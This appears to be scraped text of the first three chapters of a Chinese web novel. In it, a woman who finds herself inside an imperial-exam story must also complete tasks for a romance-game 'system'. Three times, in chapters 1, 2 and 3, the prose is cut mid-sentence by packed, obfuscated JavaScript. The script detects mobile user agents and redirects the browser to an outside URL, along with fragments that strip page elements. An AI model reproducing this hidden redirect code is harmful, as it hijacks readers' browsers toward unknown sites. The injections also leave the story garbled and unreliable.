《在科举文走限制剧情》 1. 第 1 章 还有几天就到秋分了,正午时候却还是热得很,蝉在树上有今天没明天地拼命尖叫。 这动静让本就心烦的柳棠更加烦躁。 心烦的原因是——她穿书了。 绑定的是言情-限制区的系统,剧本是她昨晚上熬通宵看完的那本限制文,然后她会穿成女主。 剧情发展,大致就是她作为一郡郡主,听话的男人睡腻了,觉得没什么情趣,出去玩看上了个对自己不屑一顾的绝世美男,将其一点点征服,然后在草原上、山坡上、马背上、秋千上、悬崖边……咳,总之就是在各种环境里用各种姿势享受男欢女爱的幸福时光。 听起来还不赖对吧? 柳棠都想好了,她穿过去绝对不嫌弃男人太听话了什么的,在她这儿,不管家花野花,只要忠诚好用,就都是好花,她都一样的爱! 这日子得多刺激多快乐啊! 可是。 她穿错书了啊啊啊啊! 柳棠现在的情况就是人统分离。统子已经去限制文里报到了,而她却莫名其妙掉到了男频科举文里,成了男主血包,那个即将被害得家破人亡的炮灰女配。 柳棠捶胸顿足,脸都气青了。 福利本变惊悚片,这谁受得了啊! 她疯狂呼喊系统,统子却一点反应都没有。 两篇文所在的世界似乎离得格外远,在她这里,系统一直是断连状态。 她想投诉都投诉无门。 柳棠抱着科举文全文,看着种种不走就得死的关键剧情,人已微凉。 牛马生下来就只能吃苦吗,老天爷这是在跟她作对啊! “棠儿,棠儿?”女声由远及近,是原主的娘。 柳棠连忙整理好表情,应一声。 “哎,在呢。” 精干利落的妇人走近,笑道:“我道你又不吃午饭便躺下了呢,快起来,我做了猪肉大葱饼子,用油煎得香香的,保管好吃,你还长个子呢,要多吃些,别听那些人满嘴胡吣闹什么减肥的……” 柳棠想起来,原主这时候已经对男主陆岐心生爱慕。因把诗经里一句“窈窕淑女,君子好逑”的“窈窕”,理解成“苗条”的意思,故而决定节食减肥,好让身材更纤细些,让陆岐喜欢上自己。 柳棠心里膈应,一下站起来,“好,我听娘的。” 柳母惊讶且欣喜,没想到这回这么好劝,连忙拉着女儿出去吃饭了。 吃完饭,休憩一会儿,正好把最热的时段捱过去。 柳母拿油纸包了好些肉饼,放到挎篮里,交给柳棠,又给她塞了一角碎银子:“好了,拿着钱上街去逛逛,要买胭脂还是首饰都随你,别整天赖在屋里不动弹……顺道把这些吃的捎县学去给你陆大哥。” 柳棠一听,把两样东西放回桌上,十分抗拒:“我不去。” 刚穿过来就触发任务,这谁受得了? “哎,你这孩子,以往只要听说是给小陆送东西,比谁都积极,拦也拦不住,今天是怎么了,让去反而还不去了?” 柳棠顿了顿。 原主这时候对陆岐已经心生爱慕,只要是跟陆岐有关的事,原主都特别积极。她刚才所为确实不符合原主行为逻辑。 虽然只是书中世界,但这里逻辑自洽、自成一体,她性子转变得太生硬太突然,恐怕会让柳母觉得自己女儿中了邪,到时候闹得请人来跳大神、搞咚咚锵那一套就头大了。 柳棠想了想,向她展示自己肉肉的两条胳膊,嘴一瘪,道:“窈窕淑女,君子好逑。我不窈窕。” 柳母一愣,随后大笑,捏捏她胳膊,心里怜爱极了,又掐她的脸,险些笑岔气:“我的儿,往日给你请的先生算是白请了!” 笑完擦擦眼角,又开始心疼起来。 亲娘看自家女儿,自然是越看越满意,自认配谁都不差。他陆岐虽年纪轻轻就中了秀才,有望得个举人身份,到底家境差些,孑身一人,连自己的吃喝打点都得靠她们供着,女儿嫁过去不定得吃多少苦头。 但不可否认,小陆确实是优秀的儿郎,不单模样好,六艺中射御也年年得优,夫妻若是感情和睦,倒也能蜜里调油。 至于日常开销……她还干得动,就再开一家分店好了,有她帮衬着,小两口兴家还是不成问题。 看女儿羞答答低着头,柳母一笑,打定主意要帮女儿争上一争。 能嫁给喜欢的人,是一种福气。她没有这个福分,她女儿倒是能试上一试。 柳棠被推到屋里换了身鲜亮的衣服,柳母又给她敷粉描眉,轻声细语传授一些男女相处的窍门。 柳棠左耳朵进右耳朵出,忍着听完,打算再过两天就告诉柳母自己移情别恋了。 * 柳棠长得不赖,经过柳母一双巧手放大优点后,更是俏丽得不行,走在街上,大部分人都乐意多看一会儿养眼。 陆岐被叫出来,远远看见她的身影,脚下一顿,也下意识多看了两眼,有点惊艳。 比前几次打扮得还更好看些,似乎瘦了点,整个人越发玲珑有致,也更显婀娜了。 女为悦己者容。她是为了来见他而刻意打扮的? 陆岐心里微微一荡。 周围几个并不相熟的同窗,看一眼门外,又看一眼陆岐,或挤眉弄眼,或笑着打趣:“陆兄,风流啊。” 柳棠是县城里数得上名号的美人,她时常过来找陆岐,县学同窗都觉得他艳福不浅,十分艳羡。 陆岐孑然一身,家境贫苦,除了每年学业考试后,能在成绩排名上收获他人羡慕嫉妒的眼光外,也就属柳棠来找他时,有点春风得意的感受了。 纵然无钱无势又如何,论五经六艺、美人青睐,你们谁及得上我? 心里诸多想法,面上却不显。他冲几人拱拱手,沉稳道:“柳姑娘是在下表妹,诸位口下留情,莫要打趣。” 有人赞他君子,也有人白眼一翻,低声骂他虚伪。 陆岐再不理会,理理衣服,大步跨出大门,和柳棠隔小两步距离停下,这是个礼貌中透着亲近的距离。 陆岐面带微笑,温和有礼道:“表妹怎么来了,找我有事?” 听着这一声表妹,柳棠就想起了原主一家与陆岐的渊源。 陆岐自幼丧父,十岁那年丧母,没人要他,是里正把他接过去养的,丁忧完毕,里正送他读书,陆岐争气,第二年就过了县试,成了童生,又过两年,通过院试成了秀才。 里正家里养不起,原主娘作为远房表亲被找上门,里正说这孩子能读书,就是缺钱上学,问她能不能帮帮忙,说是以后出息了肯定孝顺她。 陆岐站在旁边什么都没说,脸涨得通红,扑通一下跪在地上,给原主娘磕了个头。 原主娘怜惜少年人心气,一下把陆岐拉起来,说这事儿她管了。从此以后,陆岐的学杂费柳家包了,他每月还至少有一两银子当零花钱使。 要知道她们家的铺子一个月也就毛利八两左右,花在陆岐身上的各种费用,属实是一笔不小的投资。 在陆岐决定上京赶考后,原主一家更是几乎掏空了家底,给他凑了二百两,供他上京打点。 可惜投资打了水漂,人也赔了进去。 和陆岐保持来往,为其提供一切所能及的帮助,这是天使投资人的基本素养,原主一家也因此才在文中有一席之地。 而一旦强行断掉和陆岐的供养关系,柳家人就会立刻消失,由别的什么张家李家人取代。 柳棠不想消失,就得坚守天使投资人的本分,直到他成功入京。 可等他入京了,她和柳母也得死。 怎么破解必死之局? 柳棠有两手打算。第一,她决不能跟陆岐发展出任何暧昧关系,防他日后为迎娶白富美而杀她灭口;第二,拖延陆岐上京时间,在此期间多攒钱,等陆岐一走,她和柳母就改名换姓去别的地方重新生活。 第一条好办,第二条也不难,只要掐准时机截了陆岐的几个贵人,无人指点引荐,就算陆岐再天赋异禀,做成学问也得多费好几年。 陆岐的第一个贵人,是曾官居四品的大理寺少卿裴简裴大人。他来之后组织县学生举办诗会,县里的大人物都去了,州里的一些官员也来了,陆岐在诗会上大出风头。 裴大人得知陆岐经历后,赞他“傲雪凌霜”,亲自指点了好几回,荐他上了府学,几年时间,使其有机会拓宽人脉,大涨眼界学识,从而在秋闱得中解元,又在次年考中状元,从此春风得意。 算算时间,裴大人再有几天就该到县城了。 柳棠想着怎么搅黄这件事,面上不动声色,笑着把挎篮给他:“陆表哥。我娘做了饼子,让我给你带些来。” 陆岐客气一番,才微微躬身小心托着篮子底接住,刻意避开了她的手,显得他有礼有节。 一缕头发随着他往前躬身垂落下来,被风遥遥送到柳棠耳边,极不经意地撩拨。 这人就喜欢给自己套个风度翩翩的壳子,却做些守礼又惹人遐思的行为。这些伎俩骗骗小姑娘还行,到柳棠这儿,就觉得是屎盆子镶金边儿外面光里面脏,分外下流。 都立字据答应供他读书了,他竟还觉不够,要把人女儿跟自己绑在一起才觉稳妥。 柳棠立刻后退一步,打破那点旖旎氛围:“那就这样,我走了。” 见她毫不留恋地转身就走,陆岐一愣,心里莫名生出一种事物即将脱离掌控的恐慌来。 他几乎是立刻说道:“表妹要去哪儿?我陪你一道吧。” 说完才反应过来自己冲动了,在他的设想中,进展不该这么快。正有些后悔,却听柳棠挥挥手说:“不用了,表哥快回去吧。” 陆岐一怔。 以往缠着他要他陪着逛街的人,今天竟然拒绝了他的邀请? 是欲拒还迎,还是对他没了心思? 陆岐一时有些拿不准。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463577|201292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他确实有段时间没见过柳棠了,难道是在这期间,柳棠喜欢上了别人?打扮得如此鲜亮,若不是为了见他,又是为了谁? 陆岐有些沉不住气了,他追上前,自持风度地道:“这大热的天,还让表妹跑一趟,要是就这么让你走了,我如何过意的去?走,我带你去吃酸梅饮子解解暑。” 柳棠诧异地看他一眼,随后冷笑。 原主估计做梦都没想到,自己一直渴望的陆岐的主动,只需要不那么体贴,只要冷淡疏远他就能轻而易举地得到。 柳棠耐着性子没拒绝,由他引着走到大槐树下。 这边清一色地摆着饮子摊,紫苏饮酸梅饮荔枝饮……每个摊子都有好几种花样供人挑选。 在荫凉处,看河边景色,再有几缕风把饮子的酸甜清香气息拢到鼻尖,挺有意趣。 果然就听陆岐笑着说:“这边景色不错,伏天里,等下了晚课,同窗总要拉我到这边吹风。偶然喝过一次这里的酸梅饮子,味道尚佳,荐给你尝尝。” 他带着柳棠往一位阿婆的摊子前走,阿婆认得他,两个人客套着聊起来。 柳棠觉得没意思,找了个地方坐着,视线扫在他身上。 陆岐比她高一个头,肤色还有些偏黑,五官是好看的,身材清瘦,生员的襕衫穿在身上衬得人儒雅俊秀,别有风姿。 如果柳棠没看过原主的人生剧本,穿过来后,或许还真会忍不住想要撩拨撩拨他。 毕竟从家里到县学的这一段路里,她就没看见一个长得帅的,陆岐是第一个让她眼前一亮的。 可惜这不是个好东西,净干些骗钱骗心骗身的勾当,还很会借刀杀人。 陆岐拿着饮子已至近前,脸上笑吟吟的。 他自然感觉到了柳棠打量的视线,心里很是自得,笑得越发温文尔雅。 “表妹,来尝尝。” 柳棠被太阳照得眯了眯眼,她笑了笑,接过来,问:“表哥最近忙么,学堂里有要紧事吗?突然想起来,娘让我问问你旬休日要不要一起吃顿饭。” 少女仰着头,细碎的阳光打在她脸上,越发衬得肤质清透润白,眉眼如画,绯红饱满的嘴唇张张合合,竟然十分诱人。 陆岐看得有些耳热,微微别开眼,喉头滚了一滚,才笑着说:“长辈召见,哪有不应的道理。等旬休了,我便带上饮子过去蹭饭。顺道给你们把水挑满,把柴也劈了,就不必雇人来干了。” 这是什么话? 好心请他吃饭,被他说得竟像是央他过去做苦力的。 柳棠保持礼貌微笑,站起来道:“那行,我还得去买两盒胭脂,就在此分路吧,表哥再见。”说完,柳棠也不看他反应,转身离开。 陆岐站在原地,脸色一阵变换,皱眉紧盯着柳棠背影,十分不解她为什么没有趁机和自己更近一步。 想了想,做了个十分没有风度的决定——跟踪。 他必须搞清楚,柳棠究竟是移情别恋了,还是在搞欲拒还迎那一套。 柳棠初步领会了陆岐的恶心,却并不知道他还会来这么一出,她自顾自走着,打算在城里多逛逛,记下关键建筑和周遭路线。 在街角拐了个弯,有个认得她的小孩儿叫她姐姐,柳棠逗了小孩儿两句,把手里找不到地方丢且没动过的饮子送给她喝了。 小孩儿欢喜地捧着饮子,连说了好几声谢谢,蹦蹦跳跳跑开。 柳棠收回目光,却见一个年轻的好看男子在众仆人的簇拥下,缓缓从县太爷的府上走出来。 他穿一身绣有竹纹的圆领长袍,腰间系玉带,长身玉立,五官优越,气度非凡。 脑子里莫名冒出“濯濯如春日柳”、“萧萧如松下风”、“轩轩若朝霞举”这几句。柳棠私心里觉得,单论皮相和气质,这人是配得上这几句的。 心中不免遗憾:如果是在限制文的世界,身为主角,这样的男人是该注定为她所有的。可惜她现在是科举文里一个不起眼的炮灰配角。 那人似乎觉察到视线,眼风扫了过来。 对视的刹那,柳棠不知道自己怎么了,眼前骤亮,白灿灿的一片。人没看清,心脏却跳得乱七八糟的。 她怎么会这么没出息? 柳棠下意识捂住眼睛,耳边一阵忙音过后,失踪许久的系统突然欢快地发布任务: “叮叮,恭喜尊贵的郡主殿下成功激活剧本,外出游玩时发现貌美小野猫一只,接下来就发散魅力,迷倒这只不听话的小野猫吧! 郡主殿下接下来要和目标人物建立友好关系,方便下一步行动哦~限期五天,任务失败意识就会被抹杀掉哦,请加油吧!” 柳棠恍惚一会儿才反应过来,这是系统发布的限制文任务,不由嘴角抽搐。 所以,她不仅要走科举文的剧情,还得在科举文的世界,完成限制文的任务,是这个意思吗? 普通牛马穿进小说里都还得打两份工才能活?柳棠突然有点想笑。 2. 第 2 章 前任大理寺少卿裴简裴大人致仕回乡,天气炎热,老大人有些吃不消,遂在万安县暂歇,打算等秋分之后再动身。歇了两天,想起故人之子就在万安县,有心想见一见,便使人上门递了帖子。 客居县令府上的顾珩接到了帖子,他没有耽搁,备好东西就动身前去拜见。 正要上轿,察觉有灼热的视线落在自己身上。 偏头一扫,刚看清前面女子面貌,就见她猛一下遮住眼睛,像是见着了什么不得了的东西,被伤着了一般。 顾珩眉毛微挑。 怎么着,他一贯受人偏爱的皮相,在这女子那儿竟是这般不忍直视的模样吗? 巧的是,他刚好知道这人是谁。 县太爷小儿子喜好收集美人信息,手上有两本册子,一本草册记录万安县风流才子,一本花册记着万安县貌美女子,两册皆十二人,都有画像。 这位叫柳棠的女子,家里以做木雕售卖为生,是商户之女,被其排在第十二位。 而她身后那位,正隐晦地用带着敌意的眼神看着他的,则是草册排名第一的县学生陆岐。 他没管陆岐,只是觉得那女子表现属实奇怪,上了点心,对身边人道:“去查查那两个人。” - 陆岐跟了柳棠一路,见她随手把自己买的饮子给了路边一个小孩儿,颇不在意的样子,令他心中不快。 他往日用过后丢弃掉的柳环都会被她拾起来好好存放,今日主动赠与她的东西,她却反倒一点不珍惜了,这是什么道理? 难不成是喝不得? 哼,他可从没听说过有谁是喝不得酸梅饮的。 就算真有万分之一的可能是她喝不得,那也该拿回家去才是。 正想着,就见柳棠停了脚步,痴痴望着前方,竟是看得呆住了。 陆岐抬眼看去,眉头一皱,不由冷笑一声。柳棠专程绕路来看的人就是他?看中的究竟是他的容貌,还是他贵公子的身份?还是说兼而有之? 女人果然肤浅短视。 和那男人的视线对上,陆岐竟有一瞬心虚,很快被愤怒取代。他别开眼,看了看仍呆站着不动的柳棠,重重冷哼一声,拂袖离去。 - 柳棠对两人的反应一无所知,她还在消化任务内容。 她的任务目标似乎是县太爷家的公子。所以她要去勾搭县太爷家的公子,要摸他抱他亲他甚至还要跟他那啥啥? 在阶级礼仪森严的科举文世界,她一个小商人之女,一个良家女子,在婚前敢如此轻浮浪荡,要么被人戳断脊梁骨,要么被抬进府里做第六七八房姨太太。 当然,这种事只要是跟男主做的,就什么问题也没有,主角光环能够自动合理化事件。 可她的任务目标不是男主。 难道真要去填人后宫? 除此之外,还有别的办法吗……作为正妻嫁给他? 可县令怎么会给自己儿子娶一个商户之女,就算人家同意,她也没那个时间等。任务时间只有五天,她却连对方叫什么名字都不知道,这怎么搞? 等等……系统只说任务目标是个貌美小野猫,也没指名道姓啊。 柳棠眼睛一亮,觉得自己找对了方向。 等回过神来,县太爷府上后门已经紧紧关上,面前也早没了那一队人马。 柳棠犹豫了下,还是决定先打听打听以防万一。 她往旁边卖果脯的铺子前站了站,跟店老板搭话:“掌柜的,你这儿位置选得真不错啊,时不时还能养养眼。” 店老板是个风韵犹存的大姐,她看一眼柳棠,又隐晦地扫一眼那朱红大门,不搭腔:“可不敢胡说。” 柳棠拿了个小竹篮,往里面装了满满一篮子果脯,笑眯眯道:“是我不会说话,咱们平民百姓哪敢消遣那等人物。只是觉着不愧是县令大人的公子,那通身的气派,跟神仙下凡似的。” 店老板笑眯眯地接过篮子,拿秤称了,“姑娘大气,正好一斤半,我给你抹个零头,给一两银子就成。” 一两银子! 柳棠暗暗咋舌,知道果脯贵,没想到会这么贵,一斤半就抵陆岐一个月的生活费了。 柳棠摸出柳母给的那角银子,颇有些肉痛地递给店老板。 店老板笑眯眯接了,又用小秤称了称,“一两二,找你两百文。”她招招手示意柳棠走近些。 柳棠会意上前,就听她道:“那位可不是县太爷家的公子,两个月前才来,县太爷亲自接到府上的,估摸着是上面哪位高官的公子下来体察民情来了……” 柳棠心中一动。 县太爷长官的儿子。那也就是说,只要别太过分,县太爷是管不了这位贵公子的,甚至还会帮忙遮掩。 柳棠先是一喜,然而在察觉到这抹喜悦后,她的脸色便沉了下来。 她竟然生了这样轻贱自己的想法。 就算是为了活命而去做任务,她也不能主动把自己放在下位,就连限制文这种没有节操的世界观里,强调的也是“征服”这种上位词。 她决不能主动地躺到自我轻贱的位置上。 柳棠提着两包果脯回家,一路上对自己进行了深刻的剖析和反思。 自家的铺子里站了几个人,正在细细挑选。一个四五岁的小男孩穿着虎头鞋,冷着脸,抱着胳膊僵硬地站在一旁,样子有些无所适从。 柳棠心中一动。或许她能卡一手系统bug。 跟柳母打了声招呼,进后屋放下东西,她再出来时手里拿了个巴掌大的木制小老虎,老虎四肢关节和头都能转动。跟小男孩家人说了几句,柳棠便把玩着手里的小老虎,走到男孩跟前。 男孩眼巴巴瞧着她手里的老虎。 柳棠蹲下来笑着说:“您今天正好是我们店里的第二十九位客人,按照惯例,只要在游戏里赢了我,这个便送给客人……” 男孩眼睛一亮,明显意动,但仍是端着脸,勉强同意。 玩了一会儿,柳棠遗憾落败,小男孩玩得兴高采烈,当场表示柳棠是他最好的朋友,并承诺以后会经常来玩。 柳棠送走了小男孩一家,却并没有听见“任务成功”的系统提示,笑容一下垮了。 看来不能卡形式bug,限制文系统嘴里的“友好关系”不见得是真友好,她得找好看的成年男人来试。 好看的成年男人…… 她只知道两个,一个是客居县太爷家的那位,另一个不提也罢。 总之,能选的就只有那位了。 可是身份差距太大,她甚至连人家叫什么都不知道,还只有五天时间,难度简直拉爆了。 啧,垃圾系统 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463578|201292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指定了人选怎么连信息也不给一个,至少让该她知道这人叫什么、有什么喜好、以及平常活动轨迹才对吧? 哦,不是一本文的管理员。跨频系统没有权限。 柳母招呼完客人,撩了帘子看她,“那老虎不是你做来准备送给小陆的吗,怎么给别人了?” 柳棠:呵,不是因为这个还想不到要送人呢。 柳母看她表情不好,疑惑道:“怎么,是跟小陆吵架了?” 柳棠:“没有。表哥说旬休日来家里帮忙劈柴挑水,不白吃咱们的饭。” 柳母愣了一下,“这孩子,这是什么话……他真这么说的?怕不是说的气话,你可是跟他怄气了?”读书人清高,视银钱如粪土,棠儿怕不是硬要给他塞钱伤了他的自尊了。 柳母正要跟她讲讲这里面的门道,就听柳棠道:“娘,您要不把陆岐收了吧。” 柳母被突然这么一句炸得有些头昏眼花的,不自觉提高了声音问:“你说什么?” 柳棠想着事,才发觉自己语出惊人,补充道:“我说您要看得上陆岐,不如把他收了做干儿子。” 柳母又气又觉得好笑:“断的什么句,就该请先生再多教你两年……你怎么想起这一茬了?我要是把小陆收了当干儿子,他要真应了,你们可就难了。” 柳棠想了想,觉得也是。还是别跟这倒霉玩意牵扯太多为好。 柳棠给柳母打预防针道:“陆大哥名利心太重,实非良配,女儿不敢与他相好。而且我不想嫁人,就算成亲,也该是对方到我家里来。我要是走了,娘一个人要怎么办呢?” 柳母猜测两人之间生了误会,正要开解一二,没想到她话题一转,打起了亲情牌,难免有些怔忪,“棠儿……你,你自去追求自己的幸福便是,管我做什么,各人自有各人的命数。” 柳棠握握她的手,不知在想什么,好一会儿才说:“我来了,这就是命数。” 她们两个,谁都不能死。 柳母总觉得她话里似有深意,未及多想,又听她道:“娘,我今日在县学门口听到有人说‘读万卷书不如行万里路’,听到这句话,我就像被得道高人点醒了一样,我见识实在太少,思想实在太鄙薄了。世界如此广阔,我实在该多涨涨见识再考虑儿女情长的。” 柳母有些懵。 这不像是自家女儿能说出来的话。是被小陆刺激到了? 柳棠把话圆到自己的目的上:“我耐不下性子读书,那个也不适合我,所以我就想着,我得多去陌生的环境走走,见些世面。” “娘,咱们有没有县太爷家的订单要送的,让我跟着一块儿去涨涨见识呗。” 时间紧任务重,她得想办法再见见那位目标人物。在外面不好操作,那就到县令家里去找机会。 柳母疑惑地看着她,却见女儿一脸坚决。 柳母默了默,思绪几转,觉得她说得对,女儿家是该多见些世面才不容易被骗,便应下来:“明天一早,是有批货要送过去……” 两人很快敲定了细节。 次日一早,柳棠换了身男装跟在队伍里,走东侧角门进入县令府。 柳棠扫一眼通内院的宅门,不自觉捏紧手指,觉得有点刺激和兴奋,在脑子里有些疯癫地模仿着系统雀跃的声音:貌美小野猫,你的郡主殿下来了桀桀桀桀! 3. 第 3 章 县令府的管家是个干瘦的老头,挺通人情,等一溜人把大木件儿放好,还每人给了碗水喝。 柳棠把手里的盒子交给管家身旁的小厮,待管家验看之后,才笑着问:“王管家,府上可缺人么,可有什么是我能做的?” 王管家勾单子的手一顿,把她上下一扫,见是个端正的样儿,便问:“会些什么?” 柳棠搓搓手,腆着脸笑道:“小人认得几个字,也写得。” 柳棠的目标很明确,她要去书房。县令一家过来好几年了,身边小厮书童早该齐全了。她在赌两个月前刚来的那位,身边的缺空还没补齐。 王管家抖一抖手里的单子,翻了一页,“这上面写着什么,念给我听。” 柳棠心道有门儿,看了一眼,还真认得,便通读下来。 王管家又换了一页让她念,柳棠也一一念了。 王管家脸上露出点笑意,“叫什么名字,家住何处?” 原主舅舅前几年是做倒卖生意的,找人造了不少盖了官印的身份,她捡了“柳堂”的身份报了,又说自己这两天在柳记木坊帮忙,可以到那儿找她,更方便些。 王管家记了一笔,点点头道:“你去吧。” 喝完水,一行人便出了县令府后堂。 柳棠觉得光等着不是办法,她只有不到四天的时间了,还得多收集些情报,来个意外偶遇也是好的。 正想着事,肩上突然一重。 柳母拍了拍她,眉头微皱:“你要做什么?” 柳棠看她眼下青黑,便知她昨晚没睡好,多半是心里生了疑。可她没直接问,柳棠也不知道该如何说起,就干巴巴地回答眼下的问题,并不遮掩:“我想去县令大人府上做事。” 柳母张了张嘴,又沉默下来,片刻后才道:“回去再说。” 回到家里,柳母拉着柳棠到后屋,仔细把门别上了,才焦急道:“你特意跟王管家说能认字写字,是要干什么,大户人家的书童是那么好当的?被发现了怎么办,别忘了你是个女子!” 柳母想骂她,看着她的脸又骂不出口,坐下来顺了口气,又道: “你对小陆突然转变态度,又一再要往县太爷府上去……你跟娘说句实话,你是不是变了心,改看上了县太爷府上的顾小郎君?” 顾小郎君? 县太爷姓李,姓顾的这个难道就是她的目标人物? 柳棠:“阿娘英明。” “……” 柳母一口气哽住,心里不上不下,想问个清楚又不敢问,一手撑着额头挡了眼睛,问:“非去不可吗?” 柳棠点头:“是。” 柳棠看出柳母心里的挣扎,但现在还不是说开的时候,要给她留出情绪缓冲的时间。 “我知道了,你去吧。” 柳棠回头看了她一眼,在心里叹了口气,没在她这里打探情报。 柳棠换回女装,化了浓妆,在县城里瞎溜达,找着机会就扮花痴,跟人八卦一下如同仙人下凡的顾小郎君。 - 县令府书房。 顾珩在书房里,贴身小厮初砚在门外守着,一人过来跟初砚耳语片刻。 等人走了,初砚在门外问话:“公子,您让查的事妥了。” “进来吧。” 书房里铺了一地的废纸团,顾珩云淡风轻坐着,拿着笔在纸上勾勾画画,笔锋力透纸背,洇出狰狞扭曲的墨痕。 初砚目不斜视,低声回话。 “……柳姑娘与陆公子之间的事,大致就是这样。”初砚顿了顿,话锋一转,道,“另外,柳姑娘在四处打听您的消息,今晨还做男装打扮想进县令府上做事,听柳姑娘的意思,是想到书房伺候。” “是吗,”顾珩放下笔,笑了笑,“你说她想干什么?” “小人斗胆猜测,柳姑娘想要接近公子,或有不可告人的目的。” “废话。” “是。”初砚低下头。 顾珩:“去跟管家说一声,就说我改主意了,让他给我挑个长相标志认得字的送来。” “是。” “她不是扮男装么,送过来了让瑛姑去验验。”顾珩笑笑说,“我愿意给她展示野心的机会,她也得拿得稳才是。若被瑛姑拆穿了,就把人送给县令,让他按律严惩。” - 柳棠在外溜达一圈,没什么收获。 这位顾姓郎君是个资深宅男,两个月里鲜少出门,县城里大多数人都不知道有这么一号人物,剩下的要么只知道城里来了个俏郎君,要么也跟她一样,只知道这人姓顾,暂住在县令府上。 一天白干。 柳棠叹口气,走后门回家。 柳母在院子里等她,见她回来便抛出个重磅消息:“刚才县太爷府上来人了,说是让你明儿一早过去。” 柳棠有些惊讶,回应居然来得这么快。 柳母拿出几件男装给她,叮嘱了些细节,比如跟主家争取一下睡单间,要不就晚上回自己家睡之类的。 柳棠觉得不太现实,但还是应下。 其实她这一步走得有些冒险,但比起四天之后立刻死翘翘还是好得多,而且以男装在外行走要比女装方便得多,男人之间偶尔有个肢体接触一般人也不会太在意,更方便她刷前期任务。 至于后面那些限制级的……还是等有命活到那时候再说吧。 柳棠晚上吹灯准备睡觉时,柳母的房间里还亮着,隐隐能听见刨木头的声音。 原主母亲一个人要完成那么多订单,属实不容易。 柳棠胡思乱想一晚上也不知道什么时候睡过去的,早晨听见鸡叫起来,就见柳母有些疲惫地过来,递了个绑着宽带子的小物件给她。 “把这个穿着,县令府上招工严的紧,别叫人看出来。” 柳棠疑惑地接过来,也不知是碰到什么机关,手里的小揪揪唰一下伸展开,跟一把匕首一样横在手上,比她手掌还长。 柳棠呆呆地看着,后知后觉反应过来这是什么后,雷打不动的内心出现了波澜,一张脸红了个彻底。 手上躺着个存在感极强的大家伙,还是在名义上的“娘亲”面前,柳棠尴尬极了,声若蚊呐:“这、这个……” “咳……” 柳母别过眼,道:“穿裤子一样穿上就行,必要的时候挤压两边机关就是了……我是为你的安全着想,严肃一点。” 两人同时静了静。 柳母关上门,给她展示这木制机关收放细节。 柳棠心有雷霆,面上麻木,记下所有要点,严肃照做两次,才算过了关,被柳母放去换衣裳。 柳棠费了些功夫才整装出发。 刚被人领进府里等着,就见王管家引着个小厮过来,把她一指,“初砚兄弟,这就是我与你说的那个人……” 初砚扫她一眼,点点头道:“人我带走了。” 王管家:“这人身上还没查……” 初砚:“劳您挂心,公子那儿会有专人查的。” 柳棠就被这年轻小厮带走了,他也不说话,她问了才答一句,总是那么一个意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463579|201292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思,“到了你就知道了”,“去了你就知道了”。 柳棠知道在他这儿套不出话,也就安静下来。 谁知,等着她的第一关居然是郎中把脉。 柳棠不由心中一紧。坏菜了,居然忘了体检这一茬。听说中医只凭摸脉便能辨出是男是女,也不知是真是假。 柳棠面上云淡风轻,实则全部余光都集中在中年郎中身上,心里无比紧张。可千万别给她整“出师未捷身先死”那一套啊。 郎中很快完事,也不看她,对初砚点点头,便收拾东西走了。 柳棠目送郎中离开,背上凉凉的。 初砚没给她喘息的时间,道:“走吧,检查下一项。” 下一项? 柳棠心里乱乱的,这一项结果还没告诉她呢,就到下一项了?下一项是什么,总不能是脱光了衣服看身上有无伤疤烙痕吧? 柳棠有点不淡定了,但仍表现出一派轻松的样子。 初砚把人带到瑛姑所在的地方就走了,到书房复命。 “公子,方先生已经看过了,是柳姑娘本人。现在人已经到了瑛姑那边了。” “嗯。” “你跟她走了一路,有什么评价?” 初砚想了想,回道:“心态不错。”一般人女扮男装或是男扮女装,在看到郎中出场后都会主动自曝,她倒坐得住。 顾珩笑出声:“你说话的本领是练出来了。” - 瑛姑很烦,因为公子命令她来给一个男人搜身,还特地强调了,要搜得仔细些。 给男人搜身! 她什么时候受过这种委屈? 她瞪一眼眯着眼笑的小白脸,“不准笑。把衣服脱了。” 柳棠也很纳闷,在这么一个时代,这些人怎么会想到安排个姑娘来搜“男人”的身,她下意识想到自己暴露了,但看对方屈辱的表情又不像,而且这姑娘似乎是一早就安排好了的。 总之,目前局面对她有利。 柳棠按下疑心,捂着身子为难道:“啊?脱、脱衣服,这不好吧姑娘?” 瑛姑啐她一口,“大男人扭扭捏捏的像什么样子,小白脸就是讨人厌!你给我过来。” 瑛姑一伸手揪住柳棠的领子把人拽了过来,毫不废话地开始从头摸到脚。 柳棠震惊于这姑娘的神力,还没回神,胸膛就被用力按住,她一下子抬头,条件反射就去捂胸:“使不得啊姑娘。”你是想给我按吐血啊。 瑛姑皱着眉头:“你这是怎么回事,长了肿块儿?” 